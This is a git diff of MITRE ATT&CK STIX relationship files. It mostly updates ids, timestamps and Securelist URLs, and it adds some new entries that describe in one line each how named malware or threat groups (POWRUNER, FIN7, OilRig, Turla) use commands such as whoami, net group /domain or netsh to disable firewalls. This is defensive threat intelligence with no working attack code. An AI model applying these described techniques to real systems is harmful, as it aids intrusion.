-    "id": "bundle--e8ebc76d-b8eb-4cc9-a696-c3f1f1673298",
+    "id": "bundle--21fd0d6a-aa5c-4d9c-9b8b-be46d92056a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--510c2f8c-4570-4c19-8c36-7004f8bbf561",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers the Address Resolution Protocol (ARP) table from the victim.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--512879fe-8433-4c78-9345-009ed5168078.json b/enterprise-attack/relationship/relationship--512879fe-8433-4c78-9345-009ed5168078.json
index d7ddc3715f..4a2948d7a2 100644
--- a/enterprise-attack/relationship/relationship--512879fe-8433-4c78-9345-009ed5168078.json
+++ b/enterprise-attack/relationship/relationship--512879fe-8433-4c78-9345-009ed5168078.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--913b279a-57ca-4f84-be66-b9ac5b4d90ca",
+    "id": "bundle--37a9d39e-42d9-4448-95e2-1dadfa0065d7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--512879fe-8433-4c78-9345-009ed5168078",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "netsh can be used to disable local firewall settings.",
             "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
diff --git a/enterprise-attack/relationship/relationship--512e16e9-634c-45d3-b569-c25a3072bbdc.json b/enterprise-attack/relationship/relationship--512e16e9-634c-45d3-b569-c25a3072bbdc.json
index 95c1008bd2..2e420ad681 100644
--- a/enterprise-attack/relationship/relationship--512e16e9-634c-45d3-b569-c25a3072bbdc.json
+++ b/enterprise-attack/relationship/relationship--512e16e9-634c-45d3-b569-c25a3072bbdc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--be5f565a-276d-4d10-a7e8-b41b429a8b0d",
+    "id": "bundle--74849b30-99f6-4c25-a1fd-6e2529d590d9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--512e16e9-634c-45d3-b569-c25a3072bbdc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on the local system and removable media.",
             "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
diff --git a/enterprise-attack/relationship/relationship--51372934-2c81-4db7-aa38-cbb173698cc2.json b/enterprise-attack/relationship/relationship--51372934-2c81-4db7-aa38-cbb173698cc2.json
index 011b415fc1..c9594d4344 100644
--- a/enterprise-attack/relationship/relationship--51372934-2c81-4db7-aa38-cbb173698cc2.json
+++ b/enterprise-attack/relationship/relationship--51372934-2c81-4db7-aa38-cbb173698cc2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0a399ecc-e824-41b6-9512-e47023f4c739",
+    "id": "bundle--d49d1d5c-e95d-4d92-81e8-18bb03b47b80",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--51372934-2c81-4db7-aa38-cbb173698cc2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
diff --git a/enterprise-attack/relationship/relationship--51742efe-5f0c-4fbf-9eb7-5e765a0a408f.json b/enterprise-attack/relationship/relationship--51742efe-5f0c-4fbf-9eb7-5e765a0a408f.json
index caee942ea5..417635d319 100644
--- a/enterprise-attack/relationship/relationship--51742efe-5f0c-4fbf-9eb7-5e765a0a408f.json
+++ b/enterprise-attack/relationship/relationship--51742efe-5f0c-4fbf-9eb7-5e765a0a408f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fad95a0f-57c6-4c9e-851d-ef9697f7e31d",
+    "id": "bundle--a7362487-82fe-40a1-b227-63e7e42a6d4c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--51742efe-5f0c-4fbf-9eb7-5e765a0a408f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can ping or traceroute a remote host.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--5183147b-4563-4a01-a360-a419691e35f8.json b/enterprise-attack/relationship/relationship--5183147b-4563-4a01-a360-a419691e35f8.json
new file mode 100644
index 0000000000..ab1f37a95b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--5183147b-4563-4a01-a360-a419691e35f8.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--31807f98-dfed-4a3b-8feb-c090df462f93",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--5183147b-4563-4a01-a360-a419691e35f8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER may collect information about the currently logged in user by running <code>whoami</code> on a victim.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--519c4c7f-8495-4b8a-b58e-551a78e469cc.json b/enterprise-attack/relationship/relationship--519c4c7f-8495-4b8a-b58e-551a78e469cc.json
index 1d68389448..0a12d380d7 100644
--- a/enterprise-attack/relationship/relationship--519c4c7f-8495-4b8a-b58e-551a78e469cc.json
+++ b/enterprise-attack/relationship/relationship--519c4c7f-8495-4b8a-b58e-551a78e469cc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fe723007-ccca-462e-b5d6-fb7bca98a206",
+    "id": "bundle--7dcafd1e-65e2-4e5d-bb27-722cced0ad0a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--519c4c7f-8495-4b8a-b58e-551a78e469cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover information in the Windows Registry with the <code>reg query</code> command.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--51a03c8a-1983-4bdd-b326-78ec67f86f06.json b/enterprise-attack/relationship/relationship--51a03c8a-1983-4bdd-b326-78ec67f86f06.json
index 0ca97618a2..1bd4acb3b4 100644
--- a/enterprise-attack/relationship/relationship--51a03c8a-1983-4bdd-b326-78ec67f86f06.json
+++ b/enterprise-attack/relationship/relationship--51a03c8a-1983-4bdd-b326-78ec67f86f06.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1960b235-6346-4780-8d7b-9473230eaa77",
+    "id": "bundle--48369d88-fb78-492f-8213-a331d705e27d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--51a03c8a-1983-4bdd-b326-78ec67f86f06",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany can use tasklist to collect a list of running tasks.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
diff --git a/enterprise-attack/relationship/relationship--51afbe4e-c5cd-4acd-b4e1-ff7877b78b9e.json b/enterprise-attack/relationship/relationship--51afbe4e-c5cd-4acd-b4e1-ff7877b78b9e.json
new file mode 100644
index 0000000000..0d452da761
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--51afbe4e-c5cd-4acd-b4e1-ff7877b78b9e.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--6c879f96-3208-4dd2-ba04-ad7702a37a18",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--51afbe4e-c5cd-4acd-b4e1-ff7877b78b9e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN7 spear phishing campaigns have included malicious Word documents with DDE execution.",
+            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
+            "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
+            "external_references": [
+                {
+                    "source_name": "CyberScoop FIN7 Oct 2017",
+                    "description": "Waterman, S. (2017, October 16). Fin7 weaponization of DDE is just their latest slick move, say researchers. Retrieved November 21, 2017.",
+                    "url": "https://www.cyberscoop.com/fin7-dde-morphisec-fileless-malware/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--51c5e624-d08e-4750-91f9-fdc98ec56552.json b/enterprise-attack/relationship/relationship--51c5e624-d08e-4750-91f9-fdc98ec56552.json
index 90f2458f47..9133272607 100644
--- a/enterprise-attack/relationship/relationship--51c5e624-d08e-4750-91f9-fdc98ec56552.json
+++ b/enterprise-attack/relationship/relationship--51c5e624-d08e-4750-91f9-fdc98ec56552.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dfa9d1e1-eb36-407d-b405-951442688a10",
+    "id": "bundle--fd587bbf-54c9-4a47-b853-6820c2cfdd1f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--51c5e624-d08e-4750-91f9-fdc98ec56552",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind completes network communication via raw sockets.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--51d06864-d5de-4286-b2bb-561a8d2c4d49.json b/enterprise-attack/relationship/relationship--51d06864-d5de-4286-b2bb-561a8d2c4d49.json
index 1f1b220feb..dd6f7858ef 100644
--- a/enterprise-attack/relationship/relationship--51d06864-d5de-4286-b2bb-561a8d2c4d49.json
+++ b/enterprise-attack/relationship/relationship--51d06864-d5de-4286-b2bb-561a8d2c4d49.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d66fb0d7-2389-4026-8ef9-af1b452dd339",
+    "id": "bundle--16fbcf43-84eb-45a4-bd18-2f86c8438266",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--51d06864-d5de-4286-b2bb-561a8d2c4d49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used built-in tools like <code>ps aux</code> on macOS to determine which processes are running .",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--51f1d23c-1ccd-4cc4-918c-39e9a66e510b.json b/enterprise-attack/relationship/relationship--51f1d23c-1ccd-4cc4-918c-39e9a66e510b.json
new file mode 100644
index 0000000000..9d32ffbbc5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--51f1d23c-1ccd-4cc4-918c-39e9a66e510b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--3fbdf163-fd5c-4b49-a579-baf4d9fbf442",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--51f1d23c-1ccd-4cc4-918c-39e9a66e510b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig's TwoFace Web shell uses <code>del</code> to delete a text file of passwords after reading it.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "external_references": [
+                {
+                    "source_name": "Unit42 Webshell July 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, July 31). TwoFace Webshell: Persistent Access Point for Lateral Movement. Retrieved January 11, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5206976b-ac4d-4286-a954-4b1ef5c20adc.json b/enterprise-attack/relationship/relationship--5206976b-ac4d-4286-a954-4b1ef5c20adc.json
index 20c4e0e4fc..ab0980c329 100644
--- a/enterprise-attack/relationship/relationship--5206976b-ac4d-4286-a954-4b1ef5c20adc.json
+++ b/enterprise-attack/relationship/relationship--5206976b-ac4d-4286-a954-4b1ef5c20adc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--64974fa3-865c-42e2-8102-66820fbc9213",
+    "id": "bundle--3dbe9b63-c397-4820-b956-516f3a4252b4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5206976b-ac4d-4286-a954-4b1ef5c20adc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon obtains the target's IP address and local network segment.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--520f5440-740f-4efe-850e-ea4db340aef1.json b/enterprise-attack/relationship/relationship--520f5440-740f-4efe-850e-ea4db340aef1.json
index 16ac7d46bf..6a34870834 100644
--- a/enterprise-attack/relationship/relationship--520f5440-740f-4efe-850e-ea4db340aef1.json
+++ b/enterprise-attack/relationship/relationship--520f5440-740f-4efe-850e-ea4db340aef1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e90bc8ca-269d-405e-b78b-db4b559a3c94",
+    "id": "bundle--6ef99970-3ec1-4a50-8978-bd4e64b31501",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--520f5440-740f-4efe-850e-ea4db340aef1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--521146dd-185d-4a8c-a3b4-b3caedbc7a14.json b/enterprise-attack/relationship/relationship--521146dd-185d-4a8c-a3b4-b3caedbc7a14.json
new file mode 100644
index 0000000000..73eecb6b92
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--521146dd-185d-4a8c-a3b4-b3caedbc7a14.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--91a4135f-81b2-43f3-bada-bb6091d297db",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--521146dd-185d-4a8c-a3b4-b3caedbc7a14",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "searches and reads the value of the Windows Update Registry Run key.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--52781f1e-4b91-4ff2-8f48-89e15bc40d42.json b/enterprise-attack/relationship/relationship--52781f1e-4b91-4ff2-8f48-89e15bc40d42.json
new file mode 100644
index 0000000000..530b7ed2b6
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--52781f1e-4b91-4ff2-8f48-89e15bc40d42.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--3ea82fab-600d-463e-8818-0561d3237bc0",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--52781f1e-4b91-4ff2-8f48-89e15bc40d42",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER may collect information the victim's anti-virus software.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--52b6181e-881e-4b96-93a3-1292bc2f1352.json b/enterprise-attack/relationship/relationship--52b6181e-881e-4b96-93a3-1292bc2f1352.json
index 75908eede5..79ecb225fe 100644
--- a/enterprise-attack/relationship/relationship--52b6181e-881e-4b96-93a3-1292bc2f1352.json
+++ b/enterprise-attack/relationship/relationship--52b6181e-881e-4b96-93a3-1292bc2f1352.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--50411cf5-1a26-45ef-8c69-caa9373c5353",
+    "id": "bundle--d4961b33-b29f-442d-a79d-03b7463b79d4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--52b6181e-881e-4b96-93a3-1292bc2f1352",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.023Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--9378f139-10ef-4e4b-b679-2255a0818902",
             "target_ref": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427",
diff --git a/enterprise-attack/relationship/relationship--52c18ed1-91a5-4394-a4d0-f700c75bf3d9.json b/enterprise-attack/relationship/relationship--52c18ed1-91a5-4394-a4d0-f700c75bf3d9.json
index c94cab7394..a7a28ecf12 100644
--- a/enterprise-attack/relationship/relationship--52c18ed1-91a5-4394-a4d0-f700c75bf3d9.json
+++ b/enterprise-attack/relationship/relationship--52c18ed1-91a5-4394-a4d0-f700c75bf3d9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--84814d78-6ab7-423c-b8ac-48981823fa20",
+    "id": "bundle--f2841dab-b611-4739-96e9-41c83bca79bf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--52c18ed1-91a5-4394-a4d0-f700c75bf3d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover running services and associated processes using the <code>tasklist /svc</code> command.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--52cf8793-2f13-45c2-8274-1a9bf5d6224a.json b/enterprise-attack/relationship/relationship--52cf8793-2f13-45c2-8274-1a9bf5d6224a.json
index b8e5c0557e..8ab2f23633 100644
--- a/enterprise-attack/relationship/relationship--52cf8793-2f13-45c2-8274-1a9bf5d6224a.json
+++ b/enterprise-attack/relationship/relationship--52cf8793-2f13-45c2-8274-1a9bf5d6224a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f38fc15f-7aee-4d30-9859-7f348927c233",
+    "id": "bundle--8ea36c73-ecfd-4c7d-8642-dff64034f4e1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--52cf8793-2f13-45c2-8274-1a9bf5d6224a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Regin leveraged several compromised universities as proxies to obscure its origin.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
diff --git a/enterprise-attack/relationship/relationship--5301c007-7c00-4b4d-b355-864db8de052f.json b/enterprise-attack/relationship/relationship--5301c007-7c00-4b4d-b355-864db8de052f.json
index dde291b3b8..265f0fdf07 100644
--- a/enterprise-attack/relationship/relationship--5301c007-7c00-4b4d-b355-864db8de052f.json
+++ b/enterprise-attack/relationship/relationship--5301c007-7c00-4b4d-b355-864db8de052f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9eb82341-ad3a-4e6e-be82-3ae6c69cf459",
+    "id": "bundle--71fe6130-0f1d-4a66-aaf4-0dbb5c34675f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5301c007-7c00-4b4d-b355-864db8de052f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
diff --git a/enterprise-attack/relationship/relationship--533deac3-2f27-4256-bb11-7d68d8824d47.json b/enterprise-attack/relationship/relationship--533deac3-2f27-4256-bb11-7d68d8824d47.json
new file mode 100644
index 0000000000..3f27e11999
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--533deac3-2f27-4256-bb11-7d68d8824d47.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--10f8e944-5bc5-44e5-9108-29ba2dc57c31",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--533deac3-2f27-4256-bb11-7d68d8824d47",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER may collect permission group information by running <code>net group /domain</code> or a series of other commands on a victim.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--535e3fbe-e6d9-4608-9689-f8f1f8c1ddc9.json b/enterprise-attack/relationship/relationship--535e3fbe-e6d9-4608-9689-f8f1f8c1ddc9.json
index cf3a7b63d3..580b40e20f 100644
--- a/enterprise-attack/relationship/relationship--535e3fbe-e6d9-4608-9689-f8f1f8c1ddc9.json
+++ b/enterprise-attack/relationship/relationship--535e3fbe-e6d9-4608-9689-f8f1f8c1ddc9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cb5cd43b-57cb-4c43-ab7a-5d906adfca0e",
+    "id": "bundle--39004756-6279-4854-a078-26a6208811d1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--535e3fbe-e6d9-4608-9689-f8f1f8c1ddc9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea injects itself into explorer.exe.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
diff --git a/enterprise-attack/relationship/relationship--5365d764-76fa-49ce-b76b-d0344322b037.json b/enterprise-attack/relationship/relationship--5365d764-76fa-49ce-b76b-d0344322b037.json
index a05454c398..969b378182 100644
--- a/enterprise-attack/relationship/relationship--5365d764-76fa-49ce-b76b-d0344322b037.json
+++ b/enterprise-attack/relationship/relationship--5365d764-76fa-49ce-b76b-d0344322b037.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a9deab50-f968-4ea5-a6ab-eacd4d0585cd",
+    "id": "bundle--ceb66f54-510c-478f-be51-938b6f51c339",
     "spec_version": "2.0",
     "objects": [
         {
